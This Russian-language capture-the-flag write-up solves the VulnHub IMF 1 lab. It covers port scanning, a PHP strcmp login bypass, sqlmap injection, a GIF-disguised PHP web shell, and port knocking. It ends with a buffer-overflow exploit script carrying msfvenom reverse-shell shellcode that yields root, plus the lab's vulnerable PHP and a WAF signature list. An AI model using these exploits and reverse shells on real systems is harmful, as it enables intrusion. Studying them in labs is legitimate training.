VulnHub: Разбор IMF 1 и очередное переполнение буфера
В этот раз рассмотрим Boot2Root IMF 1 от VulnHub. Имеется 6 флагов, каждый из которых содержит подсказку к получению следующего. Так же рекомендую ознакомиться с разборами предыдущих заданий.
Начнём
Начнём как обычно, со сканирования портов:
$ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Starting Nmap 7.01 (nmap.org) at 2016–12–25 22:41 MSK
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)
Nmap scan report for 192.168.1.116
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)
Flag 1
Приступаем к поиску директорий на сайте:
$ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403
Просматривая каждую из найденых страниц и их код, на странице contact.php, находим первый флаг:
Roger S. Michaels
rmichaels@imf.local
Director
Alexander B. Keith
akeith@imf.local
Deputy Director
Elizabeth R. Stone
estone@imf.local
Chief of Staff
Помимо флага flag1{YWxsdGhlZmlsZXM=}, находим тут ещё и список e-mail адресов сотрудников:
estone@imf.local
akeith@imf.local
rmichaels@imf.local
Сохраним его пока, а раскодировав флаг, получаем подсказку к следующему:
$ echo YWxsdGhlZmlsZXM= | base64 -d
allthefiles
Flag 2
При внимательном просмотре, там же в коде страниц можно заметить вот такой участок:
Похоже на base64. Соединив всё вместе, получаем второй флаг:
$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
$ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d
imfadministrator
Flag 3
На полученной странице, крутится форма авторизации, и довольно интересный комментарий в коде страницы:
Хм, чаще всего для сравнения строк с учётом регистра в PHP используют либо ==, либо strcmp. У последней, есть одна особенность, функция вернёт 0, если строка будет сравниваться с массивом.
Проверим тут это. Заменив pass на pass[], пробуем авторизоваться под логином: rmichaels. Всё проходит успешно! +1 флаг:
flag3{Y29udGludWVUT2Ntcw==}
Welcome, rmichaels
IMF CMS
$ echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms
Flag 4
Переходим по ссылке, и попадаем на страницу:
Присутствие параметров в адресной строке сразу намекает на наличие БД, либо на Path Traversal. Поэтому отдаём страницу в sqlmap и наслаждаемся результатом:
sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent
Получаем несколько информативных сообщений:
[15:23:55] [INFO] GET parameter 'pagename' appears to be 'AND boolean-based blind — WHERE or HAVING clause' injectable (with --string=«the»)
[15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[15:24:10] [INFO] GET parameter 'pagename' is 'MySQL UNION query (NULL) — 1 to 20 columns' injectable
И в конечном счёте, sqlmap выдаёт список доступных баз данных:
available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
Тут наибольший интерес представляет база Admin, с единственной таблицей pages
Тут мы видим наличие ещё одной скрытой страницы tutorials-incomplete. Как видно из кода, там всего одно изображение:
QR код тут явно лишний, вырезаем его и отправляем на сайт, где и получаем очередной флаг: flag4{dXBsb2Fkcjk0Mi5waHA=} и подсказку:
$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d
uploadr942.php
Flag 5
Перейдя на страницу, открывается форма загрузки файлов. После нескольких попыток, определяем, что загружать можно только изображения: проверяется как заголовок, так и расширение файла. После успешной загрузки, в коде страницы находим название загруженного файла:
File Uploader
Intelligence Upload Form
File successfully uploaded.
Проверив директорию uploads, находим там наш файл. Пробуем залить шелл через файл shell.gif:
GIF89a
И получаем в ответ ошибку!
ОК, из документации PHP к функциям system и exec, можно узнать что вместо них так же можно использовать вот такую конструкцию:
echo `id`;
Исправим шелл и опробуем его:
GIF89a
Это сработало! Отлично! Находим в этом же каталоге пятый флаг flag5{YWdlbnRzZXJ2aWNlcw==}
И очередная подсказка, куда двигаться дальше:
$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d
agentservices
Flag 6
Попробуем поискать этот сервис, используя загруженный PHP shell (команды выполненные через этот шелл будут начинаться с »> »). Вывод запущенных сервисов ничего не дал, а вот файл services оказался интересным:
> cat /etc/services | grep agent
cmip-agent 164/tcp
cmip-agent 164/udp
zabbix-agent 10050/tcp # Zabbix Agent
zabbix-agent 10050/udp
agent 7788/tcp # Agent service
Всё стандартно, кроме последней строки. Но nmap не нашёл этот порт открытым, возможно сервис нужно запустить, либо тут port knocking.
Запустим его:
> agent
Сервис запустился, выдал приветствие, однако порт по прежнему не доступен. Попробовав отыскать сервис, находим рядом интересный файл:
> whereis agent
agent: /usr/local/bin/agent
> ls -ahl /usr/local/bin/
-rw-r--r-- 1 root root 19 Oct 16 08:11 access_codes
-rwxr-xr-x 1 root root 12K Oct 12 22:39 agent
> cat /usr/local/bin/access_codes
SYN 7482,8279,9467
Да, это очень похоже на port knocking, проверяем:
sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788
Starting Nmap 7.01 (nmap.org) at 2016–12–30 22:31 MSK
Nmap scan report for 192.168.1.116
Host is up (0.00030s latency).
PORT STATE SERVICE
7788/tcp open unknown
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)
Порт открылся, после подключения к нему, снова получаем приглашение сервиса agent.
Это всё хорошо, но для продолжения взаимодействия с этим сервисом ему нужно передать ID. Поэтому скачиваем его себе для дальнейшего анализа:
$ nc -l -p 9999 > agent
> nc 192.168.1.124 9999 < /usr/local/bin/agent
Открыв его в IDA, и перейдя на функцию main, можно найти верный ID
Далее после просмотра кода, становится понятно, что после ввода ID сервис открывает меню, и в зависимости от выбранного пункта запускает ту или иную функцию, наиболее интересной тут оказалась функция report
Учитывая, что тут отсутствуют проверки пользовательского ввода, получаем самое обычное переполнение буфера. Запустим его в peda и найдём смещение, по которому расположен адрес возврата. Создаём паттерн:
Передаём его в функцию report
После краха, находим смещения.
Отлично, можно приступить к написанию эксплоита.
Воспользуемся шеллом из Metasploit:
$ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"
import socket
port = 7788
host = '192.168.1.116'
agent_id = 48093572
buf = ""
buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33"
buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b"
buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1"
buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47"
buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8"
buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0"
buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb"
shell = buf
shell += "\x90"*(168-len(shell))
Если внимательно присмотреться, на вывод peda после краха приложения, во время локальной отладки, можно заметить, что регистр EAX указывает на начало стека:
На атакуемом хосте включен ASLR, это видно после выполнения команды:
> cat /proc/sys/kernel/randomize_va_space
2
Поэтому воспользуемся методом, который так же известен как ret2reg. Например тут можно подробнее о нём прочитать.
Нужный нам адрес (0×08048563) найден. Дописываем его в эксплоит:
shell += "\x63\x85\x04\x08"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall('%s\n' %(agent_id))
s.sendall('3\n')
s.sendall(shell)
data = s.recv(1024)
print(data)
Запускаем Metasploit:
Наконец, после запуска нашего эксплоита получаем шелл с правами root:
$ python ./exploit_bof.py
И собственно забираем последний флаг:
Декодируем его:
$ echo R2gwc3RQcm90MGMwbHM= | base64 -d
Gh0stProt0c0ls
P.S. Вот так выглядят файлы из корневой директории веб-сервера:
Welcome, ".$_POST["user"] . "
IMF CMS";
$loggedin=true;
} elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
$password = "398fj289fj2389fj398fjhhds^hkseifw3893h#(&$$*838hjf";
sleep(3); // do not bruteforce
if ($_POST["user"]=='rmichaels') {
if (strcmp($password, $_POST["pass"]) == 0) {
$_SESSION['admin_logged_on'] = 'that is affirmative sir';
echo "flag3{Y29udGludWVUT2Ntcw==}
Welcome, ".$_POST["user"] . "
IMF CMS";
$loggedin=true;
} else {
echo "Invalid password";
}
} else {
echo "Invalid username.";
}
}
if($loggedin===false) {
?>
File Uploader
Intelligence Upload Form
'Meterpreter payload detected',
'/eval/i' => 'Eval php function detected',
'/base64_decode/i' => 'Base64_decode php function detected',
'/fopen/i' => 'fopen php function detected',
'/system/i' => 'system php function detected',
'/passthru/i' => 'passthru php function detected',
'/exec/i' => 'exec function php detected',
'/pcntl_exec/i' => 'pcntl_exec php function detected',
'/popen/i' => 'popen php function detected',
'/fsockopen/i' => 'fsockopen php function detected',
'/proc_open/i' => 'proc_open php function detected',
'/fclose/i' => 'fclose php function detected'
);
foreach($signatures as $signature=>$reason) {
if(preg_match($signature, $content)) {
return "CrappyWAF detected malware. Signature: " . $reason;
}
}
return true;
}
$validextensions = array("jpeg", "jpg", "png", "gif");
if(isset($_FILES['file']['name'])) {
if(!$_FILES['photo']['error']) {
$temporary = explode(".", $_FILES["file"]["name"]);
$file_extension = end($temporary);
if ($_FILES["file"]["size"] > 100000) {
Print "Error: File size too large.";
} elseif ((($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/gif"))
&& in_array($file_extension, $validextensions)){
$contents = file_get_contents($_FILES['file']['tmp_name']);
$waf = crappyWAF($contents);
if($waf!==true) {
print "Error: ".$waf;
} else {
if(exif_imagetype($_FILES['file']['tmp_name'])!==false) {
//PHP Image Uploading Code
$new_file_name = substr( md5(rand()), 0, 12);
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension);
print "File successfully uploaded.\n";
print "";
} else {
print "Error: Invalid file data.";
}
}
} else {
print "Error: Invalid file type.";
}
} else {
print "Error uploading file.";
}
}
?>